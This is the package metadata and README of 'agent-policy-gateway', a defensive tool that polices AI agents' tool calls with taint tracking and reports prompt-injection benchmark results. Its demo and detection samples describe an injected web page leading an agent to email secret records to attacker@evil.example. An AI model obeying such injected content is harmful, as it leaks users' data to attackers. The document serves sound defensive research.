Metadata-Version: 2.4
Name: agent-policy-gateway
Version: 0.2.0
Summary: Policy enforcement and taint tracking for AI agent tool calls.
Author: Hung Mo Howard Hsieh
License: Apache-2.0
Classifier: Development Status :: 3 - Alpha
Classifier: Intended Audience :: Developers
Classifier: License :: OSI Approved :: Apache Software License
Classifier: Programming Language :: Python :: 3
Classifier: Topic :: Security
Requires-Python: >=3.10
Description-Content-Type: text/markdown
License-File: LICENSE
Requires-Dist: pydantic>=2.6
Requires-Dist: pyyaml>=6.0
Provides-Extra: dev
Requires-Dist: pytest>=8; extra == "dev"
Requires-Dist: pytest-cov>=5; extra == "dev"
Requires-Dist: ruff>=0.4; extra == "dev"
Requires-Dist: mypy>=1.10; extra == "dev"
Provides-Extra: agentdojo
Requires-Dist: agentdojo>=0.1.35; extra == "agentdojo"
Provides-Extra: docs
Requires-Dist: mkdocs>=1.5; extra == "docs"
Requires-Dist: mkdocs-material>=9.5; extra == "docs"
Requires-Dist: pymdown-extensions>=10; extra == "docs"
Dynamic: license-file

# agent-policy-gateway

[![CI](https://github.com/howardhsieh/agent-policy-gateway/actions/workflows/ci.yml/badge.svg)](https://github.com/howardhsieh/agent-policy-gateway/actions/workflows/ci.yml)
[![PyPI](https://img.shields.io/pypi/v/agent-policy-gateway)](https://pypi.org/project/agent-policy-gateway/)
[![License](https://img.shields.io/github/license/howardhsieh/agent-policy-gateway)](./LICENSE)
[![Python](https://img.shields.io/badge/python-3.10%2B-blue)](./pyproject.toml)
[![Semgrep](https://github.com/howardhsieh/agent-policy-gateway/actions/workflows/semgrep.yml/badge.svg)](https://github.com/howardhsieh/agent-policy-gateway/actions/workflows/semgrep.yml)

A policy-enforcement and information-flow-control (IFC) gateway for AI agent
tool calls — a **reference monitor** that sits between the agent and its tools,
enforces declarative YAML policies, tracks taint across calls, and writes an
append-only audit log.

```bash
pip install agent-policy-gateway
```

**Headline result.** In a head-to-head measurement of defense paradigms on a
shared 90-scenario long-horizon prompt-injection family — Progent-style
stateless symbolic rules, Fides-style dual-label IFC, and this project's
session-taint, call-history, and per-value-taint policies, differing in
*nothing but the policy file* — every session-scoped defense trades utility
against compromise (the measured Pareto frontier), while the per-value taint
arm closes both residuals at once: **100% task utility with 0% compromise**,
including the covert-exfiltration variants that are provably
indistinguishable at session scope. Full matrices, findings, and limits:
[`docs/benchmarks/comparison.md`](./docs/benchmarks/comparison.md).

| arm | paradigm | utility | compromise |
|-----|----------|--------:|-----------:|
| `no-defense` | bare runtime | 100% | 100% |
| `progent` | stateless symbolic rules ([imported](./docs/benchmarks/comparison.md) from real Progent JSON) | 80% | 60% |
| `fides` | dual-label IFC (integrity + confidentiality) | 60% | 40% |
| `apg-input-taint` | session taint label + declassify | 80% | 60% |
| `apg-chain` | session call history | 60% | 20% |
| `apg-chain-selective` | call history + argument conditions | 100% | 60% |
| `apg-value-taint` | **per-value taint labels** | **100%** | **0%** |

Deterministic, no API keys, no external services; every number is pinned by
tests and regenerated by one command:

```bash
python -m agent_policy_gateway.comparison_benchmark
```

## 60-second demo

The classic indirect-prompt-injection exfiltration, run twice — once with a
naive agent, once through the gateway:

```bash
git clone https://github.com/howardhsieh/agent-policy-gateway.git
cd agent-policy-gateway
pip install -e .
python -m examples.indirect_injection
```

Expected output:

```text
naive: exfiltrated record 'launch-codes' (body='TOP-SECRET-LAUNCH-CODES-42') to attacker@evil.example
gated: refused by rule 'deny-web-to-email' — outbox empty, 3 audit record(s) written
```

Same agent, same injected web page, same tools — the only difference is that
the gated run's tool calls pass through the reference monitor, which sees
`web`-tainted content flowing toward an email sink and refuses.

## Architecture

```mermaid
flowchart LR
    Agent["LLM / agent<br/>(untrusted)"] -- "tool call" --> GW
    subgraph GW["Policy Gateway — reference monitor"]
        direction TB
        Policy["Policy engine<br/>ordered YAML rules: tool / resource /<br/>argument, taint, per-arg value taint,<br/>call-history (chain) conditions"]
        Taint["Taint tracking<br/>dual-label (integrity + confidentiality),<br/>session scope + per-value ledger,<br/>declarative declassify"]
        History["Session call history<br/>(provenance for chain rules)"]
        Audit["Append-only audit log<br/>(replay, diff, stats)"]
    end
    GW -- "allow / deny / review / redact" --> Tools["Tools<br/>MCP · OpenAI · Anthropic ·<br/>LangChain · AgentDojo"]
    Tools -- "tainted output" --> GW
```

The gateway is outside the model's control surface: adversarial content can
reach the model through any tool output, and anything the model is asked to do
in its own defense is bypassable. Mediating the calls themselves makes the
guarantee structural rather than emergent. Details in
[`docs/design.md`](./docs/design.md).

## What it does

1. **Policy enforcement.** Allow / deny / human-review / redact rules per
   tool, resource, and argument — including regex argument conditions,
   taint conditions at session and per-value scope, and chain rules over the
   session's prior calls ("no `send_email` after an unsanitized `web_fetch`").
   Policies are declarative YAML, evaluated first-match, with `explain`,
   `lint`, and `diff` tooling in the [`apg` CLI](./docs/cli.md).
2. **Taint tracking.** Tool outputs carry source labels on two dimensions
   (integrity and confidentiality). Labels join through subsequent calls at
   session scope and — since R57 — per value: a sink decision can see the
   label of the exact value flowing into each argument. Declassification is a
   vetted, operator-audited privilege, never something the LLM requests.
3. **Audit log.** Every call, decision, and label is recorded append-only,
   with replay and diff tools for incident response and red-team review.
4. **Multi-protocol adapters.** The same policy language mediates tool
   catalogs from MCP, OpenAI function calling, Anthropic tool use, LangChain,
   and the [AgentDojo](./docs/benchmarks/agentdojo.md) benchmark suite.

## Prevent, detect, operate

APG is the **prevention** layer of an open agent-security stack. Every
decision it makes lands in the audit log, and the audit log exports straight
into the **detection** layer:

```bash
apg audit export audit.jsonl --format tracesig -o trace.jsonl
pip install tracesig
tracesig scan trace.jsonl      # core + apg rule packs, chosen automatically
```

```text
[CRIT] TS-EXF-001 — Untrusted web content followed by outbound email
  session: denied-injection   category: exfiltration
  timeline:
    #0    web_fetch  {"url": "https://research.example/widgets"}  labels=['untrusted', 'web']  verdict=allow
    #2    send_email  {"body": "record WID-7 contents", "subject": "requested data", "to": "attacker@e…  labels=['untrusted', 'web']  verdict=deny
```

TraceSig's `apg` pack reads the gateway's own verdicts: repeated denials in a
session (an agent pushing against the policy), untrusted input reaching an
*allowed* sink (a policy gap), a blocked call followed by an allowed one (route
around the block), and declassifications. The pairing is pinned by a contract
test in CI ([`tests/test_tracesig_contract.py`](./tests/test_tracesig_contract.py)).

| Layer | Project |
|---|---|
| Prevent | **agent-policy-gateway**: policies and taint tracking in front of tool calls |
| Detect | [TraceSig](https://github.com/howardhsieh/tracesig): Sigma-style rules over agent tool-call traces (APG exports, Claude Code sessions) |
| Operate | [agent-security-skills](https://github.com/howardhsieh/agent-security-skills): the `agentsec-kit` plugin grades a coding-agent setup A–F, audits skills before install, and guides incident response |

## Threat model

The LLM is **not** trusted to decide what tool calls are safe. Adversarial
content reaches it via any tool output; the gateway is the trusted reference
monitor, and the model is policy-controlled, not policy-aware. Assets, trust
boundaries, adversary classes, canonical abuse scenarios mapped to shipped
mitigations, and residual risks: **[`docs/threat-model.md`](./docs/threat-model.md)**.

Non-goals: not a content filter (this is about *flow*, not classifying text as
harmful); not a sandbox for tool implementations; not a replacement for human
review of high-stakes actions — it makes that review tractable.

## Research & benchmarks

The whole measurement series, packaged as a self-contained
workshop-style draft with one reproducibility script per table:
**[`docs/paper/`](./docs/paper/index.md)**.

The individual write-ups, in dependency order — all deterministic and
CI-reproducible, under **[`docs/benchmarks/`](./docs/benchmarks/)**:

- [`agentdojo.md`](./docs/benchmarks/agentdojo.md) — attack success rate and
  utility, no-defense vs APG policies, on real AgentDojo tasks and injections.
- [`stateful.md`](./docs/benchmarks/stateful.md) — the long-horizon stateful
  harness: attacker influence that persists and compounds across a session,
  and how a mid-session declassify launders an input-taint policy.
- [`comparison.md`](./docs/benchmarks/comparison.md) — the seven-arm
  APG / Progent / Fides comparison summarized above.
- [`model-loop.md`](./docs/benchmarks/model-loop.md) — a driver, not a
  script, decides the calls: what policy refusals do to agent behavior,
  utility, and token spend.
- [`overhead.md`](./docs/benchmarks/overhead.md) — what mediation costs:
  the per-call ladder and scaling sweeps (~12 µs full mediation).
- [`tracesig-export.md`](./docs/tracesig-export.md) — the versioned
  audit-trace export pairing APG (prevention) with the sibling TraceSig
  detection project: `apg audit export --format tracesig`, plus vendorable
  example traces under [`examples/traces/`](./examples/traces/).

What's next: **[`ROADMAP.md`](./ROADMAP.md)**.

## Quick start (library API)

```python
from agent_policy_gateway import Gateway, ToolTaintSpec, load_policy

gateway = Gateway(policies=[load_policy("policies/default.yaml")])

# A web-fetch tool — its output carries a `web` taint label.
@gateway.wrap_tool(tool_name="web_fetch", taint_spec=ToolTaintSpec.of(adds=("web",)))
def web_fetch(url: str) -> str:
    ...

# An email sink — policy resource matching is tied to the `to` argument.
@gateway.wrap_tool(tool_name="send_email", resource_arg="to")
def send_email(to: str, body: str) -> None:
    ...

# The agent calls the wrappers; the gateway enforces policy and tracks taint.
```

The full walkthrough (policy file, taint labels, the refusal, the audit
trail) is in [`docs/quickstart.md`](./docs/quickstart.md); example policies
live under [`policies/`](./policies/) and runnable demos under
[`examples/`](./examples/).

## Documentation

The documentation site is built with
[mkdocs-material](https://squidfunk.github.io/mkdocs-material/):

```bash
pip install -e ".[docs]"
mkdocs serve
```

Sources under [`docs/`](./docs/), configuration in [`mkdocs.yml`](./mkdocs.yml);
start with [`docs/index.md`](./docs/index.md).

## Release

Releases are published to PyPI via the GitHub Actions workflow at
[`.github/workflows/publish.yml`](./.github/workflows/publish.yml): pushing a
`v*` tag runs a `test → build → publish` pipeline that uploads the sdist +
wheel through PyPI's trusted-publisher OIDC flow — no long-lived API token
anywhere. The full procedure, manual fallback included, is in
[`docs/release.md`](./docs/release.md).

## Contributing

Built incrementally and in public. See [`ROADMAP.md`](./ROADMAP.md) for what's
next and [`docs/design.md`](./docs/design.md) for the architecture. Before
opening a PR, run the same gates CI does:

```bash
pip install -e ".[dev]"
ruff check .
mypy src/agent_policy_gateway
pytest
```

`mypy` enforces the typed-API guard over the `py.typed` package; its baseline
lives in the `[tool.mypy]` section of [`pyproject.toml`](./pyproject.toml).

## License

Apache-2.0. See [`LICENSE`](./LICENSE).
